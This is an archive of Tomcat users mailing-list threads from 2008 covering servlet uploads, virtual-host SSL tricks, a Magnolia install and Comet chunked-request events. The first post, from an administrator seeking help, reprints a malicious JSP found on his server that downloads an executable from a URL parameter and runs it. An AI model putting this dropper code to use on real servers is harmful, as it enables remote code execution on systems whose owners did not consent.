909-645-8864 [EMAIL PROTECTED] - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Possible virus uploaded to Tomcat 5.5.3
I have found a war file on my server that appeared around July 14. I am the only one that has access to this machine and I did not put it there. It consists of a jsp that downloads a program named init.exe and then executes it. This server is on a private network. Though there are three pc kiosks in grocery stores that are available to the public that access this server but they are on a different subnet and only have access to the server thru port 8080. I am pretty sure it came from one of these stores. The url used for this program is .../fexcep/index.jsp?url=... I am running Tomcat 5.5.3 on Windows XP. How did somebody get this war file onto my server ? Here is the code of index.jsp: <%@ page language="java" pageEncoding="utf-8" import="java.io.*,java.net.*,java.security.*,javax.crypto.*"%> <%! String sys=null; public class AutoKill { private boolean downFile(String url,String filesrc) { try { URL urlc = new URL(url); HttpURLConnection con = (HttpURLConnection)urlc.openConnection(); con.connect(); byte[] b=new byte[1024]; BufferedInputStream bis=new BufferedInputStream(con.getInputStream()); FileOutputStream fos=new FileOutputStream(filesrc); int length=-1; while((length=bis.read(b,0,b.length))!=-1) { fos.write(b,0,length); } fos.close(); bis.close(); return true; }catch(Exception e) { e.printStackTrace(); } return false; } } %> <% sys=System.getProperty("os.name"); int i=sys.indexOf("Windows"); AutoKill ak=new AutoKill(); if(i>-1) { String result; try { String url=request.getParameter("userurl"); System.out.println(url); String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe"; if (ak.downFile(url,filesrc) ) { Process run_proc=Runtime.getRuntime().exec(filesrc); result="Success! "; } else { result="Failure! Down File Failure!"; } }catch(Exception e) { result="Failure!throws Exception - "+e.getMessage()+"! "; } request.setAttribute("result",result); } else { request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!"); } request.getRequestDispatcher("/ok.jsp").forward(request, response); %> -- Thanks, Warren Bell 909-645-8864 [EMAIL PROTECTED] - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Problem with POST to servlet: 16384 bytes maximum?
Hi, If you can't get past this limitation, you might look into the Apache Commons "file upload" utility. It is an API specifically for allowing (large) file uploads to a server. It works great, has a simple API and some decent documentation as well. Hope this helps. On Thu, Aug 7, 2008 at 2:18 PM, Michele Fuortes <[EMAIL PROTECTED]>wrote: > Hi, > > I have a problem with POSTing an XML file to a servlet which writes the XML > to disk. If the XML file is less than 16384 bytes all goes well. If it's > bigger the first 16384 bytes are written correctly, the rest all all 00s. > The lenght of the file is the correct one as in the Content-Length: http > header. > > The servlet is very simple (I did not write it), the relevant parts are: > >File file; >FileOutputStream out2; >DataOutputStream out3; > .. >file = new File(req.getRealPath(filePath)); >out2 = new FileOutputStream(file); >out3 = new DataOutputStream(out2); > .. >bytesAvailable=req.getContentLength(); >byte[] theBytes=new byte[bytesAvailable]; >in.read(theBytes); >out3.write(theBytes,0,bytesAvailable); >out3.flush(); > > > Can anyone help? Is there a buffer limit somewhere that I have to change. > I'm using Apache 2.063/Tomcat/4.1.29-LE-jdk14 on MacOS 10.5.3 > > Thanks > > Michele Fuortes > > > -- > Michele Fuortes, M.D., Ph.D. > Assistant Professor > Department of Cell and Developmental Biology > Cornell University - Weill Medical College > E-mail: [EMAIL PROTECTED] > > > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > >
Re: Cool SSL/TLS Deployment Trick! How Does It Work?
Hi Patrick, Thank you very much for the response. I was so perplexed (and ignorant) about how this worked, that I stayed up to all hours of the morning with my Tomcat book reading, researching and experimenting on my home system to figure out "how" this particular deployment practice actually worked. I was initially ignorant of what was going on. Now I may have at least a "clue". :-) I had originally thought that the "new-web-app" was being deployed inside another web applications deployment directory. That is what appeared to be happening as we just "copied" web app directories and dropped them inside the "secure-mydomain.com" directory. As it turns out, that is not the case. The directory which "new-web-app" (and others) is being copied (i.e.: deployed) to is the appBase of a configured virtual host. In other words, the application(s) being copied into this one directory are being deployed on the virtual host. I did not realize that a virtual host could have multiple web apps (Contexts) deployed into it. Nor did I realize that in the absence of an explicit Context declaration for a virtual host in server.xml that Tomcat would provide a default Context specification for the web app automatically. That really confused me. I was seeing multiple Contexts (web apps) being served up with no explicit Context specifications for them in the server.xml. Anyway, thanks for the help with this. Its really nice to (think I) understand what is going on now. :-) Cheers! On Thu, Aug 7, 2008 at 10:36 AM, Patrick Markiewicz < [EMAIL PROTECTED]> wrote: > Hi Warren, >It is my understanding that all tomcat does with a WAR file is > unjar it. I.e. whatever is in the war becomes extracted into a > particular location. Tomcat does not edit any of the files that come > from the WAR file, it just reads those files for servlet mappings > (web.xml) and compiler instructions (*.jsp). Hence, you could actually > copy new-web-app.war into the secure application first, and > www.secure-mydomain.com/new-web-app would point to the new-web-app as > expected. >The second part of the trick is nothing new. All you're > basically doing is putting instructions in a separate web app to > redirect to the secure page. I could put that on MY web page: > <% something like > Dispatcher.redirect(https://www.secure-mydomain.com/new-web-app/ %> > The generated response would be 302 Moved to > www.secure-mydomain.com/new-web-app and the user's browser would simply > follow the Move instruction to the new location. Of course, since > www.secure-mydomain.com has a valid certificate, there's no certificate > error. >There are a few caveats. The virtual web app could never use > absolute references to its URL; www.new-web-app.com/not/the/index.jsp > would either return 404 errors or it would not be secure. Also, if the > webapp uses the domain name as a key into some database, the domain name > would always be www.secure-mydomain.com and not whatever virtual host > was defined by the webapp. > > > Patrick > > -Original Message- > From: Warren Killian [mailto:[EMAIL PROTECTED] > Sent: Monday, August 04, 2008 2:41 PM > To: users@tomcat.apache.org > Subject: Cool SSL/TLS Deployment Trick! How Does It Work? > > Hello users@tomcat.apache.org, > > The company I recently started working at does a very interesting trick > in > order to facilitate SSL/TLS connections and I am baffled as to how it > actually works. > > First, some background: > === > Tomcat Version: jakarta-tomcat-5.5.9 > OS: SuSE Enterprise Linux > > Brief Description of the Trick: > = > We deploy multiple distinct (unsecure) web applications "inside" of > another > (secure) web application's deployment directory in order to achieve > SSL/TLS > connections without the user being nagged about Certificate/Domain name > mismatches. The reason for this I am told is that we only have one > server > certificate for our one server IP address but we host multiple virtual > domains. The bosses don't want the clients/end-users getting that funny > domain name mismatch nagg window when they first go to one of our hosted > web > apps. > Its true! > > We have one virtual host ("secure-mydomain.com") configured in our > Tomcat > instance. Its specification/declaration in server.xml is seemingly > quite > normal: > appBase="/some/directory/secure-mydomain.com"> > www.secure-mydomain.com > directory="logs" > prefix="access-secure-mydomain.com-" > suffix=".log" pattern="combined"/
Re: How to programmatically add parameters to ServletRequest objects?
Hi Jonathan, About ServletRequest and ServletResponse Interfaces not having a "setParameter(name, value)" method...depending on your situation, you may not need to do that. Are you forwarding to another URI within your web app? If so, you could use request/session.setAttribute( String name, Object obj ). My understanding is that HttpParameters come from HTML forms and can't really be added to using the Servlet API. But if the web component you are forwarding to is within your same application, you can store those values you wish to add to the URL to the HttpServletRequest/HttpSession as "scoped attributes". Hope this helps. On Wed, Aug 6, 2008 at 1:17 PM, Christopher Schultz < [EMAIL PROTECTED]> wrote: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > Jonathan, > > Jonathan Mast wrote: > | I can't figure out how to use the pageContext.forward() method like it's > | equivalent script element: > > Do you mean that you want to add parameters to a forwarded URL without > using JSP? > > | How do I pass the name-value pair "foo":"bar" using > pageContext.forward()? I > | thought there would be a method like forward(String path, Map params) but > | there isn't. > > Right: you just forward to another URL. > > | Nor is there a setParameter(name, value) method available on > ServletRequest > | or ServletResponse (both of which are passed onto the page pointed to in > | pageContext.forward(). > > Right. The request is supposed to be read-only (ignore attributes ;). > > | I don't want to put the parameters in the url itself (ie > "page.jsp?foo=bar") > | this approach is not scalable. > > This is really the only way to do it. The other option is to create a > new request object and stuff your own parameters into it (or, better > yet, wrap the original request and add your parameters only to the > wrapper). > > Why do you believe that adding parameters to the URL is not scalable? > > - -chris > -BEGIN PGP SIGNATURE- > Version: GnuPG v1.4.9 (MingW32) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkiZ3KwACgkQ9CaO5/Lv0PA+cQCgs/6qvuqQEcK24o6fId1K3kgs > OkMAn3HqZ2E12xFeevo8eKii7yYiKj2p > =Cixo > -END PGP SIGNATURE- > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > >
Re: cant run servlets
Hi Swechha, I don't exactly know of a solution to your problem. I'd need more information. But I think that you do not have to set an explicit $CLASSPATH to include the servlet-api and jsp-api jar files. Tomcat automatically includes the jars in [Tomcat]/common/lib without you needing to specifically set any $CLASSPATH. Hope this helps. On Wed, Aug 6, 2008 at 7:09 AM, Swechha Rao <[EMAIL PROTECTED]>wrote: > Hi, > > > > I have just downloaded apache tomcat 6.0.18.zip. I have unzipped it and > given the classpath for servlet-api and jsp-api. > > I can run the example servlet and jsp pages. > > I created a new folder with servlets and jsp in it and placed it in the > webapps folder. But I cannot run the servlet pages. > > > > Please provide me a solution for this. > > > > Swechha. > >
Re: #of Site can be run on single Tomcat Instance?
Hi, I don't know of any specific limit to the number of web apps you can run on a single instance of Tomcat. I think it may only be limited by the amount of system resources you can sweat out of your hardware. Where I work, we have one instance of Tomcat which has probably 30 distinct web applications deployed to it and it still performs nicely. Hopefully, someone with more struts knowledge than I can answer your struts question. On Tue, Aug 5, 2008 at 4:01 PM, Tomcat User6 <[EMAIL PROTECTED]> wrote: > > > I am running around 10 different site on single Tomcat Instnace i.e. 6.0. I > am facing some unexpected errors while running some of the sites. Everytime > I restart the Tomcat, the same error is throwing by individual site. > > This is the error.. > > java.lang.NoClassDefFoundError: > com/opensymphony/xwork2/util/profiling/UtilTimerStack > > > org.apache.struts2.dispatcher.FilterDispatcher.doFilter(FilterDispatcher.java:425) > > I have Struts2 integrated in all sites. everytime this error appears on > different-different sites. > > Is there any limitation of #of sites can be run on tomcat or so.? > > If this is not the issue then, what can be other possible causes.? > > -- > View this message in context: > http://www.nabble.com/-of-Site-can-be-run-on-single-Tomcat-Instance--tp18838809p18838809.html > Sent from the Tomcat - User mailing list archive at Nabble.com. > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > >
Re: Virtual Host
Hi Nilanthan, Yeah, I think Hassan is correct. Cookies deal more with HTTP Headers than Tomcat itself. You don't have to do anything at all to Tomcat for it to support cookies out of the box. You may want to take a closer look at your particular web application and how it is (or is not as the case may be) handling "URL rewriting" (the rewriting of URL's to include the jsession id). Hope this helps. On Tue, Aug 5, 2008 at 12:48 PM, Hassan Schroeder < [EMAIL PROTECTED]> wrote: > On Tue, Aug 5, 2008 at 9:08 AM, nilanthan <[EMAIL PROTECTED]> wrote: > > > > I have a virtual host for my domain. Everything works fine but I am > having an > > issue with jsession/cookies, i think. What settings do I need to have the > > jsessionID properly. > > Absolutely none. It works "out of the box". > > So if you "think" you're having an "issue", it might be better to provide > detailed information about that, as well as describing the environment: > Tomcat version, Java version, etc. > > -- > Hassan Schroeder [EMAIL PROTECTED] > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > -- Cheers, Warren Killian [EMAIL PROTECTED]
Cool SSL/TLS Deployment Trick! How Does It Work?
Hello users@tomcat.apache.org, The company I recently started working at does a very interesting trick in order to facilitate SSL/TLS connections and I am baffled as to how it actually works. First, some background: === Tomcat Version: jakarta-tomcat-5.5.9 OS: SuSE Enterprise Linux Brief Description of the Trick: = We deploy multiple distinct (unsecure) web applications "inside" of another (secure) web application's deployment directory in order to achieve SSL/TLS connections without the user being nagged about Certificate/Domain name mismatches. The reason for this I am told is that we only have one server certificate for our one server IP address but we host multiple virtual domains. The bosses don't want the clients/end-users getting that funny domain name mismatch nagg window when they first go to one of our hosted web apps. Its true! We have one virtual host ("secure-mydomain.com") configured in our Tomcat instance. Its specification/declaration in server.xml is seemingly quite normal: www.secure-mydomain.com We have a server Certificate for "secure-mydomain.com" for which we have defined a connector: Now for the weird part. Whenever our developers create a new web app which requires SSL/TLS, they: 1.) deploy the new web app to its own (unsecure) virtual host. 2.) copy the new web app deployment directory into the secure web app's deployment directory (/some/directory/secure-mydomain.com/). So, there now exists for the secure web app a directory structure such as: secure-mydomain.com ROOT WEB-INF web.xml new-web-app WEB-INF web.xml another-new-web-app WEB-INF web.xml yet-another-new-web-app WEB-INF web.xml 3.) replace the new (unsecure) web app's index.jsp file with one which sends a redirect to "www.secure-mydomain.com/new-web-app/". Voila! The user is redirected to the new web app under secure-mydomain.com/new-web-app/ with a secure SSL/TLS connection and the "new-web-app" seems to works fine. I'm no expert at Tomcat or web app deployment. But I have read about the "directory structure" of J2EE compiant web applications. It seems to me that we are literally copying one (unsecure) web app and its entire directory structure into another (secure) web apps directory structure. But everything seems to work. Tomcat seems to recognize the deployment descriptors of each new web app we copy into "secure-mydomain.com"'s deployment directory. For each "new" web app we copy into there, the new web apps InitParameters, Listeners, contextParameters, etc. defined in each new web apps deployment descriptor are recognized by Tomcat. It "seems" to work. But how? Is it kosher to copy one web application's deployment directory directly "into" another web application's deployment directory? Does this violate the J2EE spec? Is it recommended practice? Can you see anything particularly "wrong" with it? I'd love to hear some comments as this sounds like a strange and interesting trick to me. -- Cheers, Warren Killian [EMAIL PROTECTED]
RE: Newbie help with newly installed app
What is the name of the war file? For instance, If it is named magnolia.war your url should be http://127.0.0.1:8080/magnolia/ acording to the url-pattern below and assumeing your accessing it from the server and the default ports of 8080 are being used. You may also want to check with the "Magnolia" documentation and see if you need to set any properties in the magnolia.properties file like database cnnection info. Also, check for exceptions in your log files? Like I said, I not familiar with Magnolia, these are just things I would check first. > -Original Message- > From: Menachem Bazian [mailto:[EMAIL PROTECTED] > Sent: Friday, April 11, 2008 1:43 PM > To: Tomcat Users List > Subject: Re: Newbie help with newly installed app > > > Thank you for your response. > > 1) Yes, I have a war file > 2) It said to copy it into the webapps folder (which I did) > 3) There is a web.xml file but I am totally unfamiliar with it. > > There was no mention of needing to do any URL mapping. Honestly, I am not > even sure how to do it and have not yet found any resources on this. > > Just to be on the safe side, here is the contents of Magnolia web.xml... > Maybe it might make some sense to you... > > > http://java.sun.com/xml/ns/j2ee"; > xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; > xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee > http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"; version="2.4"> > Magnolia > magnolia > > > Magnolia global filters > magnoliaFilterChain > info.magnolia.cms.filters.MgnlMainFilter > > > magnoliaFilterChain > /* > REQUEST > FORWARD > ERROR > > > > info.magnolia.cms.servlets.MgnlServletContextListe > ner > > > > > > > > > > - Original Message - > From: "Warren" <[EMAIL PROTECTED]> > To: "Tomcat Users List" > Sent: Friday, April 11, 2008 4:06 PM > Subject: RE: Newbie help with newly installed app > > > > How are you installing your app. do you have a war file named magnolia > > that > > you are placing in the webapps directory? I am not familiar > with magnolia > > but you should have a web.xml file. Are there any special settings that > > need > > to be set in it, like url mapping? > > > >> -Original Message- > >> From: Menachem Bazian [mailto:[EMAIL PROTECTED] > >> Sent: Friday, April 11, 2008 12:22 PM > >> To: Tomcat User List > >> Subject: Newbie help with newly installed app > >> > >> > >> Hi all, > >> > >> I am a newbie with Tomcat (and linux as well) so please forgive > >> me if this is a stupid question. > >> > >> I installed Tomcat 5.5 on an ubuntu 7.10 server so I could run a > >> java app called Magnolia. I have done everything specifically as > >> the how to told me to. The app doesn't work and I have been > >> receiving help from the Magnolia group on this. > >> > >> What I want to do is make sure I didn't mess anything up with > >> Tomcat. Maybe Tomcat is the issue. > >> > >> I installed 5.5 using apt-get. I can get into the administration > >> applet and the manager applet without problems.In going through > >> the applications, I can get to most but not all of the applet > >> (/host-manager, for example, doesn't work). > >> > >> When I try to run Magnolia, I am getting "The requested resource > >> (/magnolia/) is not available." > >> > >> Based on what I think I see, Tomcat is running OK (I couldn't > >> otherwise get to the manager app, right?) On the other hand, > >> Magnolia and host-manager do not work (host-manager gives me the > >> same error) > >> > >> Any assistance would be appreciated. > >> > >> Thanks in advance... > > > > > > - > > To start a new topic, e-mail: users@tomcat.apache.org > > To unsubscribe, e-mail: [EMAIL PROTECTED] > > For additional commands, e-mail: [EMAIL PROTECTED] > > > > > > > > > > -- > > No virus found in this incoming message. > > Checked by AVG. > > Version: 7.5.519 / Virus Database: 269.22.10/1367 - Release > Date: 4/9/2008 > > 7:10 AM > > > > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: Newbie help with newly installed app
How are you installing your app. do you have a war file named magnolia that you are placing in the webapps directory? I am not familiar with magnolia but you should have a web.xml file. Are there any special settings that need to be set in it, like url mapping? > -Original Message- > From: Menachem Bazian [mailto:[EMAIL PROTECTED] > Sent: Friday, April 11, 2008 12:22 PM > To: Tomcat User List > Subject: Newbie help with newly installed app > > > Hi all, > > I am a newbie with Tomcat (and linux as well) so please forgive > me if this is a stupid question. > > I installed Tomcat 5.5 on an ubuntu 7.10 server so I could run a > java app called Magnolia. I have done everything specifically as > the how to told me to. The app doesn't work and I have been > receiving help from the Magnolia group on this. > > What I want to do is make sure I didn't mess anything up with > Tomcat. Maybe Tomcat is the issue. > > I installed 5.5 using apt-get. I can get into the administration > applet and the manager applet without problems.In going through > the applications, I can get to most but not all of the applet > (/host-manager, for example, doesn't work). > > When I try to run Magnolia, I am getting "The requested resource > (/magnolia/) is not available." > > Based on what I think I see, Tomcat is running OK (I couldn't > otherwise get to the manager app, right?) On the other hand, > Magnolia and host-manager do not work (host-manager gives me the > same error) > > Any assistance would be appreciated. > > Thanks in advance... - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet end event
> > Could you indulge me and try the client with the sleep? > > > just did, worked exactly as before. > event: BEGIN, subtype: null > event: READ, subtype: null > Read 10 bytes: comet test for session: A01334D0AC22505DCD4B323820963FEC > read error > event: ERROR, subtype: TIMEOUT Hmm, not sure where to go from here then. Here's my output: Jan 29, 2008 4:36:23 PM org.apache.catalina.startup.Catalina start INFO: Server startup in 1173 ms event: BEGIN, subtype: null event: READ, subtype: null Read 10 bytes: comet test for session: CAF116EB9DF8BB1C5DD3170FC70F2394 event: END, subtype: null > If you are unsure if you have messed up Tomcat binaries, then I would test > this one > http://people.apache.org/~fhanik/tomcat/tomcat-5.5/v5.5.26/bin/ I don't think it's bad binaries 'cause I've rebuilt a number of times, but I'm happy to give new binaries a try. You're pointing to tomcat 5.5 binaries though -- I thought comet was a 6.0 feature. Should I try the 5.5 binaries anyway? > yes, we are very aware that the sample code is not the best for getting > started, we are looking to replace it, but it takes time and resources. I didn't mean to be critical -- merely pointing out an area of confusion for me. In fact, I thought the sample code was reasonably sufficient for me to get up and running. My main issues were getting the client http chunking working properly. > contributions always welcome! I'm pretty sure you don't want me writing the sample code! :) I'm still learning here, but I hope that our dialog is a contribution of sorts. As I mentioned before, my comet app is working fine using non-chunked httpurlconnections. This end event issue is not a roadblock for me -- I'm pursuing it to help tomcat and tomcat users, and satisfy my own curiosity of course. :) Hopefully others will learn from my misunderstandings, code snippets, etc. Peter - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet end event
Could you indulge me and try the client with the sleep? I see the end event when there's a break/delay between sending a chunk and sending the last chunk. It is legal http to send the last chunk separately from preceding chunks, isn't it? > getting a -1 on a inputstream.read is normal (even for a regular servlet). The "read error" indicates slightly more: that inputstream.isAvailable() is >0 and that inputstream.read() returns -1. Do I understand correctly in thinking that this -1 can indicate two different situations: 1) the client sent a last chunk; or 2) the client socket closed while the server was reading? If the above is true, it might be nice to have a way to disambiguate the two situations. Also, documentation-wise, it might be nice to comment the servlet code in http://tomcat.apache.org/tomcat-6.0-doc/aio.html to indicate that the -1 can occur on a last chunk as well as a read error. As a new comet user, I incorrectly took your sample code block (in the aio doc page) below to mean that a -1 always indicated some kind of error: } else if (n < 0) { error(event, request, response); return; } Thanks, Peter - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet end event
Is the read error expected behavior? I guess I didn't expect the comet processor to send me a read event on a last chunk since there's nothing to be read. I thought either a read error or an end event after a last chunk indicated a problem. If the read error is ok, then... Did you try the client with the 50 ms sleep? The client code has a commented block that says: uncomment sleep to get END event instead of read error. Adding the sleep generates the end event for me. Also, did you try with your cometgui client? As I mentioned, submitting a chunk and then separately submitting an end chunk generates an end event for me. If I send the two chunks together, I get the read error. Peter On Jan 28, 2008 1:37 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > works just dandy, the timeout happens after quite some time of just waiting > > Jan 28, 2008 2:33:31 PM org.apache.coyote.http11.Http11NioProtocol start > INFO: Starting Coyote HTTP/1.1 on http-8080 > Jan 28, 2008 2:33:31 PM org.apache.catalina.startup.Catalina start > INFO: Server startup in 1005 ms > event: BEGIN, subtype: null > event: READ, subtype: null > Read 10 bytes: comet test for session: D4BC1A6D7AC7F30C1A475FB7FFB2B4DB > read error > event: ERROR, subtype: TIMEOUT > > If you are unsure if you have messed up Tomcat binaries, then I would > test this one > http://people.apache.org/~fhanik/tomcat/tomcat-5.5/v5.5.26/bin/ > > these are not an official version, but you can test it out and see how > your test works > > Filip > > > Peter Warren wrote: > > I put up a war file at: http://www.nomad.org/comet_test.war. > > > > It includes the webapp, source for the comet servlet & client, and the > > server.xml file. Let me know if I missed anything. > > > > As I mentioned before, I've also used your cometgui.jar client and see > > the end event generated when using it as well. If I submit a chunk > > and the last chunk (0crlfcrlf) together, I see a read error on the > > server. If I submit a chunk and then submit the last chunk in two > > separate submissions, I see an end event on the server. > > > > Peter > > > > On Jan 24, 2008 12:44 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > > > >> even with your code, I wasn't able to replicate what you were seeing. > >> what I would need to see what's going on for you: > >> > >> 1. a war file with your comet server, and source code > >> 2. a test client > >> 3. your server.xml > >> > >> Filip > >> > >> > > > > > - > > To start a new topic, e-mail: users@tomcat.apache.org > > To unsubscribe, e-mail: [EMAIL PROTECTED] > > For additional commands, e-mail: [EMAIL PROTECTED] > > > > > > > > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet end event
I put up a war file at: http://www.nomad.org/comet_test.war. It includes the webapp, source for the comet servlet & client, and the server.xml file. Let me know if I missed anything. As I mentioned before, I've also used your cometgui.jar client and see the end event generated when using it as well. If I submit a chunk and the last chunk (0crlfcrlf) together, I see a read error on the server. If I submit a chunk and then submit the last chunk in two separate submissions, I see an end event on the server. Peter On Jan 24, 2008 12:44 PM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > > even with your code, I wasn't able to replicate what you were seeing. > what I would need to see what's going on for you: > > 1. a war file with your comet server, and source code > 2. a test client > 3. your server.xml > > Filip > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet end event
); > outputStream.write(outputBytes); > outputStream.flush(); > } > > private void send(String chunkData) throws IOException { > byte[] chunkBytes = chunkData.getBytes(ENCODING); > String hexChunkLength = Integer.toHexString(chunkBytes.length); > StringBuffer outputBuffer = new StringBuffer(); > outputBuffer.append(hexChunkLength); > outputBuffer.append(DELIMITER); > outputBuffer.append(chunkData); > outputBuffer.append(DELIMITER); > byte[] outputBytes = outputBuffer.toString().getBytes(ENCODING); > outputStream.write(outputBytes); > outputStream.flush(); > } > > private void sendLastChunk() throws IOException { > byte[] outputBytes = new String("0" + > DELIMITER+DELIMITER).getBytes(ENCODING); > outputStream.write(outputBytes); > outputStream.flush(); > } > } > > > Peter Warren wrote: > > Just to make sure that I wasn't crazy, I did some more tests, > > including using your cometgui.jar. My results still show both read > > errors and END events. Is it possible that it's a platform issue? > > I'm running Windows XP Pro SP2. As I mentioned before I'm using the > > tomcat 6.0.x trunk as of 21-01-2008. Also, I re-started tomcat in > > between all tests to make sure there weren't stray bytes hanging > > around somewhere. My server code is the same as shown previously in > > this thread. > > > > Peter > > > > Here are my results: > > > > 1) Running LastChunkTest (code below) with last chunk of 0crlfcrlf, > > server shows: > > > > event: BEGIN, subtype: null > > event: READ, subtype: null > > Read 10 bytes: comet test for session: 627378C9DEE2817A93EBAC190DE47599 > > read error > > > > 2) Running LastChunkTest with last chunk of 0crlfcrlf and a 50 ms > > sleep before sending last chunk, server shows: > > > > event: BEGIN, subtype: null > > event: READ, subtype: null > > Read 10 bytes: comet test for session: A00EFFC9A9FE8CBF1833D204EF00667C > > event: END, subtype: null > > > > 3) Running LastChunkTest with a last chunk of 0crlf, server shows: > > > > event: BEGIN, subtype: null > > event: READ, subtype: null > > Read 10 bytes: comet test for session: DD41C198E3D5CD6E7D73FC0D7B37E86F > > > > 4) Running cometgui.jar with 0crlfcrlf: > > > > client sends (without the dashes): > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet end event
urrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor .java:907) at java.lang.Thread.run(Thread.java:619) event: ERROR, subtype: null Code for LastChunkTest: === package test; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.NoRouteToHostException; import java.net.Socket; import java.net.URL; public class LastChunkTest { private static final String ENCODING = "ISO-8859-1"; private static final String DELIMITER = "\r\n"; private URL url; private InputStream inputStream; private OutputStream outputStream; private Socket socket; public static void main(String[] args) throws Exception { LastChunkTest test = new LastChunkTest(); test.test(); } private void test() throws Exception { url = new URL("http://www.seekspeak.com/CometTest";); initConnection(); sendHeaders(); send("comet test"); // uncomment sleep to get END event instead of read error //try { //Thread.sleep(50); //} catch (InterruptedException ie) { //// do nothing //} sendLastChunk(); // block on read to keep app alive - server never sends response inputStream.read(); } private void initConnection() throws IOException { int port = url.getPort(); port = (port < 0) ? url.getDefaultPort() : port; try { socket = new Socket(url.getHost(), port); socket.setKeepAlive(true); inputStream = socket.getInputStream(); outputStream = socket.getOutputStream(); } catch (NoRouteToHostException nrthe) { System.out.println("host: " + url.getHost()); nrthe.printStackTrace(); } } private void sendHeaders() throws IOException { String path = url.getPath(); StringBuffer outputBuffer = new StringBuffer(); outputBuffer.append("POST " + path + " HTTP/1.1" + DELIMITER); outputBuffer.append("Host: " + url.getHost() + DELIMITER); outputBuffer.append("User-Agent: CometTest" + DELIMITER); outputBuffer.append("Connection: keep-alive" + DELIMITER); outputBuffer.append("Content-Type: text/plain" + DELIMITER); outputBuffer.append("Transfer-Encoding: chunked" + DELIMITER); outputBuffer.append(DELIMITER); byte[] outputBytes = outputBuffer.toString().getBytes(ENCODING); outputStream.write(outputBytes); outputStream.flush(); } private void send(String chunkData) throws IOException { byte[] chunkBytes = chunkData.getBytes(ENCODING); String hexChunkLength = Integer.toHexString(chunkBytes.length); StringBuffer outputBuffer = new StringBuffer(); outputBuffer.append(hexChunkLength); outputBuffer.append(DELIMITER); outputBuffer.append(chunkData); outputBuffer.append(DELIMITER); byte[] outputBytes = outputBuffer.toString().getBytes(ENCODING); outputStream.write(outputBytes); outputStream.flush(); } private void sendLastChunk() throws IOException { byte[] outputBytes = new String("0" + DELIMITER).getBytes(ENCODING); outputStream.write(outputBytes); outputStream.flush(); } } On Jan 22, 2008 9:07 AM, Filip Hanik - Dev Lists <[EMAIL PROTECTED]> wrote: > I still don't get the END event, however, thanks for pointing it out, > you did find a regression bug about the timeout > > http://svn.apache.org/viewvc?view=rev&revision=614249 > > I've added the patch above to the proposal list for 6.0.x to fix the > timeout issue > > Filip > > > Peter Warren wrote: > >> as I mentioned, the "last chunk" doesn't generate an END event, I tried > >> it locally. of course against 6.0.x trunk. > >> > > > > I played around a bit because I was definitely getting an END event > > and found: Sending 0crlf does not generate and END event. However > > sending 0crlfcrlf, which is what HttpURLConnection does, does generate > > an END (or sometimes a read error - see below...) Looking at the http > > spec, it seems like 0crlfcrlf is actually the proper way to terminate > > the chunk body: > > > >Chunked-Body = *chunk > > last-chunk > > trailer > > CRLF > > > >last-chunk = 1*("0") [ chunk-extension ] CRLF > > > > Am I reading that correctly? > > > > Note about END and read error: > > When running both the client and the server locally (i.e. little > > latency), sending 0crlfcrl
Re: comet end event
